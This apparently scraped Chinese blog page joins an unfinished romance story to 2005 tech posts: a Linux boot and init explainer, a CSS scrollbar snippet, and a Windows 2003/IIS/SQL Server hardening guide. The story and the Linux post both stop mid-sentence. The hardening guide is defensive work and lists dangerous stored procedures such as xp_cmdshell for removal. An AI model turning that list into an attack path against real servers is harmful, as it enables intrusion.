下班后,我们去了钱柜,自助式的,晚餐加饮料,反正人均消费也不贵,AA制嘛。去的同事大约有五六个,除了我和另外一个男的,基本上就是她们健美操那块的女孩子了。Candy明显是麦霸,抢着话筒就不放,而且居然还每一首歌都唱得下去,令人不得不佩服,我呢有点五音不全,所以也以听为主,Candy有时候会邀请我唱些合唱的歌,我也勉为其难地凑份子啦。
玩到大约10点,Candy提议吃小龙虾去,我们群起拥护,于是就打的去了极负盛名的上海门面最破烂的复兴路上面的小龙虾根据地,哇,还是一字长蛇阵,没办法,排队吧。不过排队的时候,Candy和几个女伴打打闹闹,倒也吸引了不少眼球。
大约晚上12点,我们酒醉饭饱之后,准备回家,地铁是没有咯,只有打的了,一问,原来Candy也是住浦东八佰伴附近,倒也基本同路,于是就走复兴路隧道到了浦东,先她下,然后我再回菊园。
到家的时候,Candy发了条短信,说和我一起玩很开心,我才忽然意思到她对我可能有些感觉,回想一下,至少在情歌对唱的时候,那个男的就没有被邀请过。
我的脑袋嗡得就大了,要是换了几个月前,我或许会很开心,但是现在有了Jolin,虽然我不是很确信会开始,但是至少我不愿意就此放弃。
我很谨慎地回了短信,说同事之间有空多玩玩,祝她晚安。

周五白天我发了短信给Jolin告诉她房东的事情,晚上Jolin回信要我通知房东续借,于是我打电话给房东,想了想,说要续签合约,我下班去他那里。
房东住在乳山路一个老式公房了,真难以想像他居然买了一套菊园的房子。房东没有认出我,进门就招呼:“凯文,坐坐,这个是合同,你看看。”
我马上看上次的那个住房合同,没错,是Jolin和凯文一起签的, 绝对不是什么女孩子,我刹那间有种被欺骗的感觉,因为用脚想想也知道,肯定是那个男的和她分手了,她气不过,所以扔了所有的关于他们的东西。可是为什么要骗我呢,我想不通,这并没有什么啊,分分合合,再正常不过的感情纠葛而已。
签约时,我告诉房东,我是Leon,房东也很诧异,后来从房东的聊天里,我知道原来我和凯文长的有点像,哼,难道我是替代品吗?如果Jolin只是把我看作她男友的一个影子,那我有何必和她开始这段感情呢,男人决不可以活在另外一个男人的影子里,这个是我的原则。
想想有时候的确很怪,她扮演饲养员角色,难道不是因为她幻想我还是那个男的吗?怪不得有时候她会愣愣地看着我的侧面良久,怪不得有时候我们的玩笑会接近走火的地步,并不是因为我,而是因为凯文,该死的陈凯文!!!
回来之后,我基本上一个通宵没有入睡,我脑海里开始反反复复地想着Candy和Jolin,把她们放在一个虚拟的天平上,我不知道我应该在哪里加码,或许哪里加码都是错。

Jolin是周六上午10点左右到家的,Shine和Parker自己回去了。
Jolin进门后就开心得不得了,丝毫没有察觉我的不快,大呼小叫地把黄山带回来的山货整理出来,然后赶忙到浴室里面开始洗澡。听到哗哗的水声,我的心情很难受,不过我告诉自己,我要忍住,不要发火,因为所有的一切,其实都是我的一相情愿,Jolin并没有答应我什么。
Jolin洗完澡后,把笔记本电脑拿出来,拷贝了相机里的照片后,就开始和我讲黄山之旅了,可是我什么也听不见。
“我和房东说了。”
“嗯,你看这里啊,壮观吗?”
“我去房东那里续约了。”
“哦,其实不需要,自动续约的,快看照片啊!”
“我看到一个名字,陈凯文!”
Jolin听到这个名字后,一下子呆了,脸色煞白,然后沉了下去,把电脑一关,就走进了自己房间,把门锁了。

大约到了下午5点,Jolin的门还是不开,我开始有点慌张了。
看着指针一点点地挪动,我开始后悔我的好奇心了。
但是我有错吗,我隐约觉得自己也没有什么不对啊!

无辜的感觉在晚上10点变成深深的负罪感,无论我怎么在门口呼唤Jolin,Jolin的房间还是没有丝毫动静,真不知道她的肾功能这么好,倒也憋得住!不过我可没敢多想,赶紧打电话给Shine吧。
我拨通了Shine的手机,似乎打的不是时候,Shine的声音似乎表明她还在睡觉,我把前后的事情大概说了一下,说到陈凯文的时候,Shine“啊呀”了一声,说马上就来。
10点半左右,Shine到了,她进门就骂我笨蛋,虽然被骂得莫名其妙,可是也算盼到救星了。Shine示意我回房间,然后她来到Jolin门口,开始劝Jolin,声音不是很大,但是我听到了没有良心之类的话,反正我想也和我估计的差不多,那个男的离开了Jolin,Jolin忘不了他之类的。
大概劝了半小时,Jolin终于开门了,我透过门缝看到Jolin的眼睛像金鱼一样,唉,估计哭得不轻,不过她开门第一件事情,和我预料的一样,就是直奔卫生间。后来呢,Jolin和Shine回房间聊了好久,最后Shine就住在了Jolin那里。

第二天老早我就起床了,赶紧去楼下买点早点豆浆之类的,偷偷摸摸地放到她们门口,大概9点左右,Jolin和Shine起床了,我坐在沙发上偷偷看了一眼,发现Jolin好像没有什么了,唉,暴风雨就终于过去了。
那天大家都没有提这个陈凯文,Shine一直到晚上才走的,Jolin也开始和我有说有笑的,似乎昨天的不快没有发生过,不过我还是好奇得不得了,唉,英国那只猫是怎么翘的,我反复提醒自己。
(注,英国谚语,好奇心杀死一只猫)

大概是周二吧,Shine给我打了个电话,问中午有空吗,一起吃饭,我说好的,你要不来我们公司吧,到了门口打个电话给我,我会出来的。
Candy自从上次接到短信之后,似乎对我冷淡了不少,不过我觉得这样也好,凡人怕果,菩萨畏因,真的开始了一段感情,或许双方都会受到伤害的。我已经不小了,不是那种整天想玩玩就不负责任的年纪的人
了。Candy真的太小了,要过两个月才20岁,我认为她不适合我。
12点,Shine站在马路对面等我,推开玻璃门,穿过马路,我回头一看,发现Candy在一个角落看着我。

Jolin的故事


Shine说我们去吃馄饨吧,不过落座之后,她自己却没有点,就在我的馄饨碗里捞了2个吃了,她笑了笑,我说我了解,她们本来中午就吃得很少,否则哪里来的魔鬼身材啊。
Shine说,我想来想去还是决定告诉你陈凯文的事情,否则对你不公平,不过我们这可是瞒着Jolin哦,希望你一定要对她好些。
我听不懂最后的一句话,我感觉是她在暗示什么,暗示我很渴望的东西,但是我没有表态。
Shine开始讲述Jolin的故事了:


Jolin和Shine也是大学才认识的,凯文是美术学院油画系的,紧邻她们舞蹈学院。凯文不是上海人,来自一个不是很富裕的家庭,但是用Shine的话来说,是他们大学里面比较独特的一个人,老师普遍认为他有才气,女孩子们也觉得他有俊朗而忧郁的外表,但是凯文却老是拒人千里之外,是个很封闭内向的怪人。舞蹈学院的女孩子一般都是美丽而漂亮,不乏大把大把追求者,Jolin也一样,可是她不知怎么地会走眼看中凯文,说到这里,Shine用了一句“老天不长眼”来形容她的愤懑。
凯文的生活费用很成问题,因为学油画的费用很贵,画笔油布颜料都是费用,凯文一段时间下来,经济上就捉襟见肘了,所以凯文不交女朋友可能也是这样的原因吧,Shine解释到。
那个时候,大家都开始学习入门,凯文已经把他的油画作品拿到附近的画廊里去,不过他一没有名气二技巧也不是很成熟,所以根本卖不掉,但是颜料和画布还在大量地消耗,凯文在学校附近租了房子,整夜整夜地画,希望能卖掉,希望可以有收入,但是画廊的传来的结果总是一次次地打击他。
油画班有一个女同学也很喜欢凯文,她的老爸就是油画系的一个老教授,家里自然比较有钱,所以老是想接济凯文,但是凯文一再拒绝,他的自尊是Jolin喜欢他的一个主要原因。
Jolin的家境其实很好,每个月的零用钱很多,于是Jolin就偷偷跑到画廊那里买他的画,那段时间凯文简直乐疯了,他还以为他的价值得到人家认可了。
对于Jolin就不一样了,虽然画的价格不高,才伍佰一千的,但是时间久了她也负担不起,她也不愿意多问家里拿钱,所以就开始受Shine鼓动去拍模特照片,有时候也会去酒吧领舞,捞些外快。
凯文后来从画廊老板那里得知了这个事情后,做了堪称他们学院最浪漫的一件事情,他用画了一幅999朵玫瑰的油画,送给了Jolin,因为油画里的玫瑰是永远不会凋谢的,不过关于那些画,他对Jolin说,我不喜欢人家设施我,我将来一定把那些画买回去,用我一辈子的对你的好来买。
再后来,Jolin就经常去凯文那里过夜,凯文也以Jolin为模特练习作画。
毕业之后,Jolin决定和凯文去租房子,开始甜蜜的同居生活,于是就托人找了菊园的房子,而凯文呢,继续画画,并没有去找工作。油画系的那个老教授很器重凯文,在凯文快毕业的时候,利用自己的关系给凯文和自己女儿找了一个去法国留学的机会,同时也愿意资助凯文学费和生活费。老教授的目的也无非希望自己女儿和凯文可以成就一段婚姻。
因为法国是欧洲的艺术中心,也是凯文心目中的圣地,所以他动摇了,因为他很清楚,以他的才华,留学之后,必然有所成就,而在国内,或许就永远错过了这样的机会。但是要背弃Jolin,他又不愿意不舍得,至于他们之间怎么谈的,Shine说没有人知道,只是1个月后,办妥了所有手续的凯文和那个女孩子上飞机的时候,Jolin都已经哭不出来了。
死X们轮流陪着Jolin,其实什么事情也没有发生,Jolin把所有关于凯文的东西都扔了,直到屋子里没有凯文的丝毫痕迹。Jolin没有听死X们的意见,搬家换地方,而是住了下去,并且后来在死X们的鼓动下,决定找个异性来同居。
“至于你,”Shine看着我说:“因为你和凯文长得有点像,所以我们都不同意,但是Jolin坚持要你,我们也没有办法!”
我一吐舌头,乖乖,差一点啊。

“好了,坦白吧,有没有和Jolin那个啦!”Shine看着我。
“哪个啊?”
“好你个Leon,还敢装糊涂,要死啊!”
“没有啊,我们很清白的,真的很清白的!”
Shine故作冷笑:“我可不管,不过你欺负Jolin的话,我们这么多人一定不会放过你,信不信把你小鸡鸡都切下来,让你做太监!”
(我想我又不是楼主,做什么太监啊)

但是后来,Jolin告诉我的其他一些关于凯文的事情,让我对整个经过才有了一个完整的认识。


Jolin的画像


回到公司,因为迟到了,所以被扣钱,不过心里还是挺开心的,因为毕竟陈凯文的阴影消除了一大半。
Candy在课间休息的时候来看我,其实也是来探听虚实,有一句没一句地问起Shine,我藏了个坏心,就说她的确是我的女朋友,其实这也是为了Candy好,因为当Shine离开的时候,我就下定决心一定要去追求Jolin。

下班前收到了Jolin的短信:“饲养员说,猪猪一定要回来吃六月黄!”
六月黄?那是什么啊?
回到家里,推开门就闻到扑鼻的香味,Jolin一边看电视,一边在很开心地吮着手指,餐桌上有一大盘堆起来的小螃蟹,都是一切为二的,裹着面粉,油黄油黄的。
“洗手洗手”,Jolin叫道,“这个是面拖蟹,可好吃啦,保证鲜得你眉毛也掉下来哦!”
吃饭的时候,Jolin告诉我,所谓的六月黄,其实就是指六七月份的雌性大闸蟹,因为在这个时候,蟹黄丰腴都得不得了,所以美其名曰为六月黄,不过因为没有肉,所以一般上海人会加上面粉一起炒。我尝了尝,的确鲜美无比,就是吃起来有点烦,蟹脚咬半天也没有肉。Jolin很会吃螃蟹,吐出来的蟹壳都白白净净的,不像我的,基本上就是豆腐渣工程。
Jolin吃得差不多的时候,突然问了我一句,Shine是不是把凯文的事告诉我了,我手一抖,半只蟹钳差点掉下来。不过我还是告诉她实话了,Jolin叹了口气,说道:“其实我知道她迟早会告诉你的,毕竟是死X嘛,大家都知根知底了,她性格逃不了的,我猜也猜得出来!”
“不过也好,我本来就不应该骗你的,你知道了,我就算不欠你啦!”Jolin一边用餐巾纸擦手一边说,“有时候想想也是,都过去了,还想他干吗!”
“你真的不想他了吗?”我傻乎乎地应了一句,但是话一出口,就后悔了。
“还记得我说的话吗,如果有回忆可以回忆,那是多么的幸福啊。人一辈子,很多事情原本就想忘记的,人如果真的可以自己选择记住什么和忘记什么,那是多开心了,活了而是多年,你在心里真正留下来快乐回忆又有多少呢?”
Jolin叹了口气:“大学四年,我的回忆就是和凯文的,还有我那些死X们,说忘就忘,你以为很容易吗!?”
我看到Jolin的眼睛红了,不过我没有劝她。
“喂,我说Leon,你去买些啤酒吧,我们晚上喝酒,我现在把桌子收了,等你。”
我点了点头。

情为穿肠物,酒是烧心水,此话一点不假,才喝了几罐啤酒,Jolin就开始抽噎起来,断断续续地描述着她和凯文之间的爱情。
从她的话

LINUX系统初始化过程解析

0

分类 : 技术文摘 | 发表时间 26-09-2005

一、 概况

  系统的引导和初始化是操作系统实现控制的第一步,也是集中体现系统优劣的重要部分。LINUX作为一个免费的准UNIX操作系统,在众多业余爱好者以及小型商业处理市场表现不俗,成为继WINDOWS系列后的另一个主流。了解LINUX系统的初始化,对于进一步掌握UNIX系统是十分有帮助的。

  通常,LINUX系统的初始化可以分为两部分:内核部分和init程序部分。内核主要完成系统的硬件检测和初始化,init程序则主要完成系统的各项配置。

  本文将着眼LINUX系统初始化的两个部分,初步解析LINUX的特点。

二、 初始化详解

1.内核部分

  通常情况下,计算机首先用LILO程序引导内核的一部分(这部分没有被压缩),以此来引导内核的其他部分。LILO程序是最常用的、也是比较完善的LINUX系统引导器,PC机通常从硬盘的引导扇区读取这部分程序。关于LILO程序的详细内容可以参照其他资料。

  内核被解压缩并装入内存后,开始初始化硬件和设备驱动程序。下面是内核初始化系统的具体步骤(各个版本之间会有一定的差异,下面是2.2.16-22版本的一个例子):

(1) 检测CPU的主频和控制台的显示类型,并对CPU速度用Bogo MIPS程序进行估算。
(2) 此后内核通过外设显示系统内存信息:如131072k(128M),127820k剩余,使用的具体情况为:1048k内核代码,412k保留,1728k数据等。尔后是各类hash table的信息。
(3) 内核加载磁盘空间限量支持,完成CPU检测(包括检查数学协处理器),以及POSIX适应性检测。
(4) 初始化PCI BIOS,检测系统的PCI设备,并加载TCP/IP网络支持。
(5) 内核开始检测其他各种硬件设备:如PS/2端口设备,串行口设备,硬盘,软盘,SCSI等。
此后,内核将启动init程序,形成系统的第一个进程。下面是dmesg记录的内核初始化信息(部分):

Detected 499845 kHz processor.
Console: colour VGA+ 80×25
Calibrating delay loop… 996.15 BogoMIPS
Memory: 127820k/131072k available (1048k kernel code, 412k reserved, 1728k data, 64k init, 0k bigmem)
Dentry hash table entries: 262144 (order 9, 2048k)
Buffer cache hash table entries: 131072 (order 7, 512k)
Page cache hash table entries: 32768 (order 5, 128k)
VFS: Diskquotas version dquot_6.4.0 initialized
CPU: Intel Celeron (Mendocino) stepping 05
Checking 386/387 coupling… OK, FPU using exception 16 error reporting.
Checking ‘hlt’ instruction… OK.
POSIX conformance testing by UNIFIX
mtrr: v1.35a (19990819) Richard Gooch (rgooch@atnf.csiro.au)
PCI: PCI BIOS revision 2.10 entry at 0xfb190
PCI: Using configuration type 1
PCI: Probing PCI hardware
Linux NET4.0 for Linux 2.2
……
Starting kswapd v 1.5
Detected PS/2 Mouse Port.
Serial driver version 4.27 with MANY_PORTS MULTIPORT SHARE_IRQ enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A
ttyS01 at 0x02f8 (irq = 3) is a 16550A
pty: 256 Unix98 ptys configured
apm: BIOS version 1.2 Flags 0×07 (Driver version 1.13)
Real Time Clock Driver v1.09
RAM disk driver initialized: 16 RAM disks of 4096K size
……
hda: QUANTUM FIREBALLlct10 15, ATA DISK drive
hdd: ASUS CD-S400/A, ATAPI CDROM drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 14
ide1 at 0×170-0×177,0×376 on irq 15
hda: QUANTUM FIREBALLlct10 15, 14324MB w/418kB Cache, CHS=1826/255/63
Floppy drive(s): fd0 is 1.44M
FDC 0 is a post-1991 82077
md driver 0.90.0 MAX_MD_DEVS=256, MAX_REAL=12
raid5: measuring checksumming speed
raid5: MMX detected, trying high-speed MMX checksum routines
……
using fastest function: p5_mmx (1168.146 MB/sec)
scsi : 0 hosts.
scsi : detected total.
md.c: sizeof(mdp_super_t) = 4096
Partition check:
hda: hda1 hda2 < hda5 hda6 hda7 hda8 hda9 hda10 hda11 >
autodetecting RAID arrays
autorun …
… autorun DONE.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 64k freed
……
2.init程序部分

  init程序通常在/sbin或/bin下,它负责在系统启动时运行一系列程序和脚本文件。init程序一旦被内核调用,便成为系统的第0号进程,该进程对于LINUX系统是十分重要的,有关它的详细内容请参阅其他资料。init进程做的每一步都由/etc/initab中的配置决定。以下是RadHat的/etc/inittab文件的例子:

# Default runlevel. The runlevels used by RHS are:
# 0 – halt (Do NOT set initdefault to this)
# 1 – Single user mode
# 2 – Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 – Full multiuser mode
# 4 – unused
# 5 – X11
# 6 – reboot (Do NOT set initdefault to this)
#
id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 “Power Failure; System Shutting Down”

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c “Power Restored; Shutdown Cancelled”


# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon
inittab文件的每一行包含四个域,格式为:
code:runlevels:action:command
(1) code域用单个或两个字符序列来作为本行的标识,这个标识在此文件中是唯一的。文件中的某些记录必须使用特定的code才能使系统工作正常。
(2) runlevels域给出的是本行的运行级别。LINUX系统运行在一定的级别下,当inittab文件指定了某一特定的运行级别时,该记录行包含的命令将被执行。RedHat系统通常设置了7个运行级别(0-6),各运行级别的说明包含在inittab文件的开头。
(3) action域指出的是init程序执行command命令的方式。比如:只执行command一次,还是在它退出时重启。
(4) command域给出相应记录行要执行的命令。

  运行级别1是单用户模式,所谓单用户指的是系统运行在唯一用户–超级用户模式下。而大多数情况下,系统运行在多用户模式下。在启动出错、文件系统出错等情况下,系统将进入单用户模式,此时,系统只有很少的配置,这对于恢复系统是很必要的。

  inittab文件首先指出缺省的运行级别(如id:3:initdefault:),我们看到上面的例子中缺省的运行级别为3。此后根据下一条记录,系统应当运行/etc/rc.d/rc.sysinit,这是一个脚本文件,主要包括基本的系统初始化命令,如激活交换分区、检查并挂上文件系统、装载部分模块等。

  接下来是执行特定运行级别对应的rcN程序。rcN都是目录,当前运行级别为N时,执行/etc/rc.d/rcN.d目录下的脚本程序。以下是rc3.d目录下的文件:

  从中我们看到,rc3.d目录下都是类似Knnxxxx和Snnxxxx的

用css美化滚动条

0

分类 : 技术文摘 | 发表时间 20-09-2005

其实这很简单,插入一段代码就能实现了(必须是IE5以上,或者是以IE5为内核的浏览器)
首先,先让我们看这张图这段代码是在html中的和中加入

其中#xxxxxx就是你选择的颜色的代码
如果你还不明白请在看下面的几个例子


1. body {
background: #4E544B;
color: #FFFFFF;
SCROLLBAR-FACE-COLOR: #6D7669;
SCROLLBAR-HIGHLIGHT-COLOR: #6D7669;
SCROLLBAR-SHADOW-COLOR: #363946;
SCROLLBAR-3DLIGHT-COLOR: #B9C2B3;
SCROLLBAR-ARROW-COLOR: #363946;
SCROLLBAR-TRACK-COLOR: #363946;
SCROLLBAR-DARKSHADOW-COLOR: #000000
}

2. body {
background-color: #ffffff;
color: #336699;
SCROLLBAR-FACE-COLOR: #BED8EB;
SCROLLBAR-SHADOW-COLOR: #DDF8FF;
SCROLLBAR-HIGHLIGHT-COLOR: #92C0D1;
SCROLLBAR-3DLIGHT-COLOR: #DDF8FF;
SCROLLBAR-DARKSHADOW-COLOR: #92C0D1;
SCROLLBAR-TRACK-COLOR:#BED8EB;
SCROLLBAR-ARROW-COLOR: #92C0D1
}

Win 2003 server配置安全个人Web服务器

0

分类 : 技术文摘 | 发表时间 16-09-2005

有些方法很基础,基本众所周知,但这样比较全面的,还是推荐一下,大家用到的时候,可以借鉴一二——-

Win2003 Server的安全性较之Win2K确实有了很大的提高,但是用Win2003 Server作为服务器是否就真的安全了?如何才能打造一个安全的个人Web服务器?下面我们简单介绍一下……

  一、Windows Server2003的安装

  1、安装系统最少两需要个分区,分区格式都采用NTFS格式

  2、在断开网络的情况安装好2003系统

  3、安装IIS,仅安装必要的 IIS 组件(禁用不需要的如FTP 和 SMTP 服务)。默认情况下,IIS服务没有安装,在添加/删除Win组件中选择“应用程序服务器”,然后点击“详细信息”,双击Internet信息服务(iis),勾选以下选项:

  Internet 信息服务管理器;

  公用文件;

  后台智能传输服务 (BITS) 服务器扩展;

  万维网服务。

  如果你使用 FrontPage 扩展的 Web 站点再勾选:FrontPage 2002 Server Extensions

  4、安装MSSQL及其它所需要的软件然后进行Update。

  5、使用Microsoft 提供的 MBSA(Microsoft Baseline Security Analyzer) 工具分析计算机的安全配置,并标识缺少的修补程序和更新。下载地址:见页末的链接


  二、设置和管理账户

  1、系统管理员账户最好少建,更改默认的管理员帐户名(Administrator)和描述,密码最好采用数字加大小写字母加数字的上档键组合,长度最好不少于14位。

  2、新建一个名为Administrator的陷阱帐号,为其设置最小的权限,然后随便输入组合的最好不低于20位的密码

  3、将Guest账户禁用并更改名称和描述,然后输入一个复杂的密码,当然现在也有一个DelGuest的工具,也许你也可以利用它来删除Guest账户,但我没有试过。

  4、在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-Windows设置-安全设置-账户策略-账户锁定策略,将账户设为“三次登陆无效”,“锁定时间为30分钟”,“复位锁定计数设为30分钟”。

  5、在安全设置-本地策略-安全选项中将“不显示上次的用户名”设为启用

  6、在安全设置-本地策略-用户权利分配中将“从网络访问此计算机”中只保留Internet来宾账户、启动IIS进程账户。如果你使用了Asp.net还要保留Aspnet账户。

  7、创建一个User账户,运行系统,如果要运行特权命令使用Runas命令。


  三、网络服务安全管理

  1、禁止C$、D$、ADMIN$一类的缺省共享

  打开注册表,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters,在右边的窗口中新建Dword值,名称设为AutoShareServer值设为0

  2、 解除NetBios与TCP/IP协议的绑定

  右击网上邻居-属性-右击本地连接-属性-双击Internet协议-高级-Wins-禁用TCP/IP上的NETBIOS

  3、关闭不需要的服务,以下为建议选项

  Computer Browser:维护网络计算机更新,禁用

  Distributed File System: 局域网管理共享文件,不需要禁用

  Distributed linktracking client:用于局域网更新连接信息,不需要禁用

  Error reporting service:禁止发送错误报告

  Microsoft Serch:提供快速的单词搜索,不需要可禁用

  NTLMSecuritysupportprovide:telnet服务和Microsoft Serch用的,不需要禁用

  PrintSpooler:如果没有打印机可禁用

  Remote Registry:禁止远程修改注册表

  Remote Desktop Help Session Manager:禁止远程协助


  四、打开相应的审核策略

  在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-Windows设置-安全设置-审核策略在创建审核项目时需要注意的是如果审核的项目太多,生成的事件也就越多,那么要想发现严重的事件也越难当然如果审核的太少也会影响你发现严重的事件,你需要根据情况在这二者之间做出选择。

  推荐的要审核的项目是:

  登录事件 成功 失败

  账户登录事件 成功 失败

  系统事件 成功 失败

  策略更改 成功 失败

  对象访问 失败

  目录服务访问 失败

  特权使用 失败


  五、其它安全相关设置

  1、隐藏重要文件/目录

  可以修改注册表实现完全隐藏:“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ Current-Version\Explorer\Advanced\Folder\Hi-dden\SHOWALL”,鼠标右击 “Checkedvalue”,选择修改,把数值由1改为0

  2、启动系统自带的Internet连接防火墙,在设置服务选项中勾选Web服务器。

  3、防止SYN洪水攻击

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  新建DWORD值,名为SynAttackProtect,值为2

  4. 禁止响应ICMP路由通告报文

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface

  新建DWORD值,名为PerformRouterDiscovery 值为0

  5. 防止ICMP重定向报文的攻击

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  将EnableICMPRedirects 值设为0

  6. 不支持IGMP协议

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  新建DWORD值,名为IGMPLevel 值为0

  7、禁用DCOM:

  运行中输入 Dcomcnfg.exe。 回车, 单击“控制台根节点”下的“组件服务”。 打开“计算机”子文件夹。

  对于本地计算机,请以右键单击“我的电脑”,然后选择“属性”。选择“默认属性”选项卡。

  清除“在这台计算机上启用分布式 COM”复选框。

  注:3-6项内容我采用的是Server2000设置,没有测试过对2003是否起作用。但有一点可以肯定我用了一段的时间没有发现其它副面的影响。


  六、配置 IIS 服务:

  1、不使用默认的Web站点,如果使用也要将 将IIS目录与系统磁盘分开。

  2、删除IIS默认创建的Inetpub目录(在安装系统的盘上)。

  3、删除系统盘下的虚拟目录,如:_vti_bin、IISSamples、Scripts、IIShelp、IISAdmin、IIShelp、MSADC。

  4、删除不必要的IIS扩展名映射。

  右键单击“默认Web站点→属性→主目录→配置”,打开应用程序窗口,去掉不必要的应用程序映射。主要为.shtml, .shtm, .stm

  5、更改IIS日志的路径

  右键单击“默认Web站点→属性-网站-在启用日志记录下点击属性

  6、如果使用的是2000可以使用iislockdown来保护IIS,在2003运行的IE6.0的版本不需要。

  7、使用UrlScan

  UrlScan是一个ISAPI筛选器,它对传入的HTTP数据包进行分析并可以拒绝任何可疑的通信量。目前最新的版本是2.5,如果是2000Server需要先安装1.0或2.0的版本。下载地址见页未的链接

  如果没有特殊的要求采用UrlScan默认配置就可以了。

  但如果你在服务器运行ASP.NET程序,并要进行调试你需打开要%WINDIR%\System32\Inetsrv\URLscan

  文件夹中的URLScan.
ini 文件,然后在UserAllowVerbs节添加debug谓词,注意此节是区分大小写的。

  如果你的网页是.asp网页你需要在DenyExtensions删除.asp相关的内容。

  如果你的网页使用了非ASCII代码,你需要在Option节中将AllowHighBitCharacters的值设为1

  在对URLScan.ini 文件做了更改后,你需要重启IIS服务才能生效,快速方法运行中输入iisreset

  如果你在配置后出现什么问题,你可以通过添加/删除程序删除UrlScan。

  8、利用WIS (Web Injection Scanner)工具对整个网站进行SQL Injection 脆弱性扫描.

  下载地址:[http://www.fanvb.net/websample/othersample.aspx]VB.NET爱好者[/url]


  七、配置Sql服务器

  1、System Administrators 角色最好不要超过两个

  2、如果是在本机最好将身份验证配置为Win登陆

  3、不要使用Sa账户,为其配置一个超级复杂的密码

  4、删除以下的扩展存储过程格式为:
  use master
  sp_dropextendedproc ‘扩展存储过程名’

  xp_cmdshell:是进入操作系统的最佳捷径,删除

  访问注册表的存储过程,删除
  Xp_regaddmultistring  Xp_regdeletekey  Xp_regdeletevalue  Xp_regenumvalues
  Xp_regread      Xp_regwrite    Xp_regremovemultistring

  OLE自动存储过程,不需要删除
  Sp_OACreate   Sp_OADestroy    Sp_OAGetErrorInfo  Sp_OAGetProperty
  Sp_OAMethod  Sp_OASetProperty  Sp_OAStop

  5、隐藏 SQL Server、更改默认的1433端口

  右击实例选属性-常规-网络配置中选择TCP/IP协议的属性,选择隐藏 SQL Server 实例,并改原默认的1433端口。


  八、如果只做服务器,不进行其它操作,使用IPSec

  1、管理工具—本地安全策略—右击IP安全策略—管理IP筛选器表和筛选器操作—在管理IP筛选器表选项下点击

  添加—名称设为Web筛选器—点击添加—在描述中输入Web服务器—将源地址设为任何IP地址——将目标地址设为我的IP地址——协议类型设为Tcp——IP协议端口第一项设为从任意端口,第二项到此端口80——点击完成——点击确定。

  2、再在管理IP筛选器表选项下点击

  添加—名称设为所有入站筛选器—点击添加—在描述中输入所有入站筛选—将源地址设为任何IP地址——将目标地址设为我的IP地址——协议类型设为任意——点击下一步——完成——点击确定。

  3、在管理筛选器操作选项下点击添加——下一步——名称中输入阻止——下一步——选择阻止——下一步——完成——关闭管理IP筛选器表和筛选器操作窗口

  4、右击IP安全策略——创建IP安全策略——下一步——名称输入数据包筛选器——下一步——取消默认激活响应原则——下一步——完成

  5、在打开的新IP安全策略属性窗口选择添加——下一步——不指定隧道——下一步——所有网络连接——下一步——在IP筛选器列表中选择新建的 Web筛选器——下一步——在筛选器操作中选择许可——下一步——完成——在IP筛选器列表中选择新建的阻止筛选器——下一步——在筛选器操作中选择阻止 ——下一步——完成——确定

  6、在IP安全策略的右边窗口中右击新建的数据包筛选器,点击指派,不需要重启,IPSec就可生效.


  九、建议

  如果你按本文去操作,建议每做一项更改就测试一下服务器,如果有问题可以马上撤消更改。而如果更改的项数多,才发现出问题,那就很难判断问题是出在哪一步上了。


  十、运行服务器记录当前的程序和开放的端口

  1、将当前服务器的进程抓图或记录下来,将其保存,方便以后对照查看是否有不明的程序。

  2、将当前开放的端口抓图或记录下来,保存,方便以后对照查看是否开放了不明的端口。当然如果你能分辨每一个进程,和端口这一步可以省略。

无觅相关文章插件,快速提升流量